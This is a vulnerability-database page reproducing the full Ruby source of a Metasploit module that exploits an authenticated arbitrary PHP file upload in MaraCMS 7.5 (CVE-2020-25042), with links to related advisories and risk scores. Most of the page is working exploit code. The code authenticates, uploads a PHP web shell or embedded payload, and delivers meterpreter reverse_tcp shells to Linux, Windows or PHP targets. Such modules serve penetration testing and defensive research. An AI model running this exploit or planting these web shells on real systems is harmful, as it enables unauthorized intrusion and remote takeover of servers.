Lucene search
K

MaraCMS Arbitrary PHP File Upload

🗓️ 26 Sep 2020 17:41:04Reported by Michele Cisternino, Erik WynterType 
metasploit
 metasploit
🔗 www.rapid7.com👁 42 Views

MaraCMS Arbitrary PHP File Upload vulnerability exploitation against MaraCMS 7.5 and prior version

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2020-25042
25 Sep 202018:36
circl
CNVD
Mara CMS Arbitrary File Upload Vulnerability
4 Sep 202000:00
cnvd
Check Point Advisories
Arbitrary Code Injection Over HTTP Traffic (CVE-2020-21176; CVE-2020-25042; CVE-2020-26248; CVE-2020-26712; CVE-2020-28994; CVE-2020-29284; CVE-2020-6308; CVE-2021-25912)
3 Jan 202100:00
checkpoint_advisories
CVE
CVE-2020-25042
3 Sep 202014:23
cve
Cvelist
CVE-2020-25042
3 Sep 202014:23
cvelist
NVD
CVE-2020-25042
3 Sep 202015:15
nvd
OSV
CVE-2020-25042
3 Sep 202015:15
osv
Packet Storm
MaraCMS 7.5 Remote Code Execution
28 Sep 202000:00
packetstorm
Prion
Design/Logic Flaw
3 Sep 202015:15
prion
Positive Technologies
PT-2020-15905 · Mara · Mara Cms
3 Sep 202000:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MaraCMS Arbitrary PHP File Upload',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability in
          MaraCMS 7.5 and prior in order to execute arbitrary commands.

          The module first attempts to authenticate to MaraCMS. It then tries
          to upload a malicious PHP file to the web root via an HTTP POST
          request to `codebase/handler.php.` If the `php` target is selected,
          the payload is embedded in the uploaded file and the module attempts
          to execute the payload via an HTTP GET request to this file. For the
          `linux` and `windows` targets, the module uploads a simple PHP web
          shell similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it
          leverages the CmdStager mixin to deliver the final payload via a
          series of HTTP GET requests to the PHP web shell.

          Valid credentials for a MaraCMS `admin` or `manager` account are
          required. This module has been successfully tested against MaraCMS
          7.5 running on Windows Server 2012 (XAMPP server).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michele Cisternino', # aka (0blio_) - discovery and PoC
          'Erik Wynter' # @wyntererik - Metasploit
        ],
        'References' => [
          ['CVE', '2020-25042'],
          ['EDB', '48780']
        ],
        'Payload' => {
          'BadChars' => "\x00\x0d\x0a"
        },
        'Platform' => %w[linux win php],
        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP],
        'Targets' => [
          [
            'PHP', {
              'Arch' => [ARCH_PHP],
              'Platform' => 'php',
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux', {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows', {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'win',
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2020-08-31',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('TARGETURI', [true, 'The base path to MaraCMS', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'changeme'])
    ]
  end

  def check
    vprint_status('Running check')

    # visit /about.php to obtain MaraCMS version and cookies
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'about.php'),
      'keep_cookies' => true
    })

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    unless res.code == 200 && res.body.include?('Mara cms')
      return CheckCode::Safe('Target is not a MaraCMS application.')
    end

    html = res.get_html_document
    version_header = html.css('h1').text # obtain the h1 text, which for MaraCMS 7.5 is `Version 7.2 :: Production release`
    version = version_header.split(' ')[1] # grab the version number

    if version.blank?
      return CheckCode::Detected('Could not determine MaraCMS version.')
    end

    version = Rex::Version.new version

    unless version <= Rex::Version.new('7.2') # 7.2 is the version listed on the about page for MaraCMS 7.5
      # MaraCMS no longer seems to be maintained, but the check below is added in case they every update it
      return CheckCode::Safe('Target is likely MaraCMS with a version higher than 7.5 and may not be vulnerable.')
    end

    return CheckCode::Appears('Target is most likely MaraCMS with version 7.5 or lower')
  end

  def login
    # visit login page in order to obtain `shash` value, which is necessary for authentication
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => { 'login' => '' }
    })

    unless res
      fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
    end

    unless res.code == 200 && /shash='(?<shash>.*?)';/ =~ res.body # obtain shash value from inside a <script> tag
      fail_with(Failure::Unknown, 'Failed to obtain the `shash` token that is necessary to authenticate to the server.')
    end

    nocache_value = rand # when visiting the page with a browser, JS generates the nocache_value in the same manner

    # try to obtain salt required for authentication
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" },
      'vars_get' => {
        'nocache' => nocache_value
      },
      'vars_post' => {
        'action' => Rex::Text.encode_base64('setsalt').to_s,
        'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string
        'status' => Rex::Text.encode_base64('Sending Request').to_s
      }
    })

    unless res
      fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
    end

    unless res.code == 200 && res.body.include?('~::~')
      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to obtain the salt required for authentication.')
    end

    # obtain salt
    salt_base64 = res.body.to_s.split('~')[2] # the base64 encoded salt is returned in the format: ~::~encoded_salt~::~
    salt = Rex::Text.decode_base64(salt_base64)
    if salt.to_i == 0 # if the salt is nil or contains characters other than numbers, this will be true
      # in case of an error, the server sends the error message, so this should be passed to the user
      fail_with(Failure::Unknown, "Failed to obtain the salt required for authentication. The server sent the following response: #{salt}")
    end
    print_status("Obtained salt `#{salt}` from server. Using salt to authenticate...")

    # use salt to generate authentication tokens
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    @username_base64 = Rex::Text.encode_base64(username) # this value is also used when uploading the payload
    unsalted_hash = Digest::SHA256.hexdigest("#{password}#{shash}#{username}")
    salted_hash = Digest::SHA256.hexdigest("#{unsalted_hash}#{salt}")
    @salted_hash_base64 = Rex::Text.encode_base64(salted_hash) # this value is also used when uploading the payload
    nocache_value = rand # create new nocache_value

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" },
      'vars_get' => {
        'nocache' => nocache_value
      },
      'vars_post' => {
        'usr' => @username_base64,
        'hash' => Rex::Text.encode_base64(unsalted_hash),
        'pwd' => @salted_hash_base64,
        'action' => Rex::Text.encode_base64('login').to_s,
        'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string
        'rawresponse' => Rex::Text.encode_base64(salt_base64),
        'status' => Rex::Text.encode_base64('Sending Request').to_s
      }
    })

    unless res
      fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
    end

    unless res.code == 200 && res.body.include?('~::~')
      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate to the server.')
    end

    # obtain base64 encoded response from body and decode it
    server_response = Rex::Text.decode_base64(res.body.to_s.split('~')[2])
    unless server_response.include?('OK:')
      fail_with(Failure::NoAccess, "#{server_response}.") # if authentication fails, the server sends the error message
    end

    print_good('Successfully authenticated to MaraCMS')
  end

  def upload_payload
    # set payload according to target platform
    if target['Platform'] == 'php'
      pl = payload.encoded
    else
      @shell_cmd_name = rand_text_alphanumeric(3..6)
      pl = "system($_GET[\"#{@shell_cmd_name}\"]);"
    end

    @payload_name = rand_text_alphanumeric(8..12) << '.php'
    one_base64 = Rex::Text.encode_base64('1') # used twice below

    # generate post data
    post_data = Rex::MIME::Message.new
    post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"')
    post_data.add_part(Rex::Text.encode_base64('upload').to_s, nil, nil, 'form-data; name="action"')
    post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
    post_data.add_part('filenew', nil, nil, 'form-data; name="type"')
    post_data.add_part("<?php #{pl} ?>", 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{@payload_name}\"")
    post_data.add_part(@username_base64.to_s, nil, nil, 'form-data; name="usr"')
    post_data.add_part(@salted_hash_base64.to_s, nil, nil, 'form-data; name="pwd"')
    post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"')
    post_data.add_part('/', nil, nil, 'form-data; name="destdir"')

    print_status("Uploading payload as #{@payload_name}...")

    # upload payload
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}#{normalize_uri(target_uri.path, 'codebase', 'dir.php?type=filenew')}" },
      'data' => post_data.to_s
    })

    unless res
      fail_with(Failure::Disconnected, 'Connection failed while trying to upload the payload.')
    end

    unless res.code == 200 && res.body.include?("OK: #{@payload_name} uploaded.")
      fail_with(Failure::Unknown, 'Failed to upload the payload.')
    end

    register_file_for_cleanup(@payload_name)

    print_good("Successfully uploaded #{@payload_name}")
  end

  def execute_command(cmd, _opts = {})
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, @payload_name),
      'vars_get' => { @shell_cmd_name => cmd }
    })

    unless res && res.code == 200
      fail_with(Failure::Unknown, 'Failed to execute the payload.')
    end
  end

  def exploit
    login

    upload_payload

    # For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary.
    if target['Platform'] == 'php'
      print_status('Executing the payload...')
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, @payload_name)
      }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
    else
      print_status("Executing the payload via a series of HTTP GET requests to `/#{@payload_name}?#{@shell_cmd_name}=<command>`")
      execute_cmdstager(background: true)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Dec 2025 18:57Current
8High risk
Vulners AI Score8
CVSS 26.5
CVSS 3.17.2
EPSS0.77043
42